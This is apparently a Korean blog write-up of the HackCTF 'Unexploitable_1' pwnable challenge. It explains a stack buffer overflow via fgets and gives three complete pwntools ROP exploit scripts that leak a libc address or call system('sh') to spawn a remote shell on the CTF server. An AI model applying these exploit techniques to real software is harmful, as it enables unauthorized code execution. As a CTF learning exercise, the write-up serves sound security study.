728x90
check
- 64bit
- NX
Analyze
pseudo code (IDA)
- 0x10byte만큼 할당된 스택 변수(문자열) s에 fgets함수를 이용해 64byte (= 0x40 byte)만큼 입력받는다. 이 때 버퍼오버플로우가 발생할 수 있다.
- main함수의 내용을 보면 system@plt를 이미 가지고 있다고 한다. 그래서 IDA를 통해 좀 더 살펴보면
이런 함수가 있고 이 가젯을 사용하라고 한다.
어셈블리 코드로 다시 확인해보면
"call system" 가젯을 사용할 수 있는게 아닌가 싶다.
- "call system" : 0x4006d4
gadgets
Exploit (1)
from pwn import *
#context.log_level = 'debug'
#p = process("./Unexploitable_1")
p = remote("ctf.j0n9hyun.xyz", 3023)
elf = ELF("./Unexploitable_1")
libc = elf.libc
main = elf.symbols['main']
fgets_got = elf.got['fgets']
fgets_off = libc.symbols['fgets']
system_plt = elf.plt['system']
#systemcall = 0x4006d4
prdi = 0x4007d3
one_gadget = 0x45226
pl = "A"*(0x10 + 8)
pl += p64(prdi)
pl += p64(fgets_got)
pl += p64(system_plt)
pl += p64(main)
p.sendlineafter("\n", pl)
libcbase = u64(p.recvuntil("\x7f")[-6:].ljust(8, "\x00")) - fgets_off
pl = "A"*(0x10 + 8)
pl += p64(one_gadget + libcbase)
p.sendlineafter("\n", pl)
p.interactive()
△ 가장 기본적인(?) ROP 풀이법
한 개의 인자만을 갖는 system의 plt의 인자로 fgets_got를 주면서 fgets 함수의 원본 주소를 leak한다! (꼭 한 개의 인자를 가지는 함수의 plt주소를 사용할 필요는 없지만,,, 인자들의 순서와 값을 채워주기 힘들어지니까..)
Exploit (2)
system("sh") 으로 익스플로잇하는 방법이다.
위 exploit 방법에서 libcbase를 leak한 이유는 "/bin/sh"를 사용하기 위함(라이브러리의 one_gadget을 사용하기 위함)인데, 바이너리 내에 존재하는 문자열 "sh"로 바로 exploit할 수 있다면 system@plt를 이용해 exploit할 수 있게 된다!
from pwn import *
p = remote("ctf.j0n9hyun.xyz", 3023)
elf = ELF("./Unexploitable_1")
libc = elf.libc
prdi = 0x4007d3
sh = 0x4003bf
pl = "A"*(0x10 + 8)
pl += p64(prdi)
pl += p64(sh)
pl += p64(elf.plt['system'])
p.sendlineafter("\n", pl)
p.interactive()
또는 system@plt를 직접 넣지 않고 바이너리 내에 있던 gift 함수에서 system 함수를 호출하던 가젯을 이용할 수 있다.
from pwn import *
p = remote("ctf.j0n9hyun.xyz", 3023)
elf = ELF("./Unexploitable_1")
libc = elf.libc
prdi = 0x4007d3
sh = 0x4003bf
pl = "A"*(0x10 + 8)
pl += p64(prdi)
pl += p64(sh)
pl += p64(0x4006d4) #call system
p.sendlineafter("\n", pl)
p.interactive()
SMALL
'System > PWNABLE' 카테고리의 다른 글
[HackCTF] Register (0) | 2021.04.29 |
---|---|
[ROP Emporium] write4 (재) (0) | 2021.04.17 |
[ROP Emporium] callme (0) | 2021.04.02 |
[ROP Emporium] split32 (0) | 2021.03.26 |
[RopEmporium] split (0) | 2021.03.21 |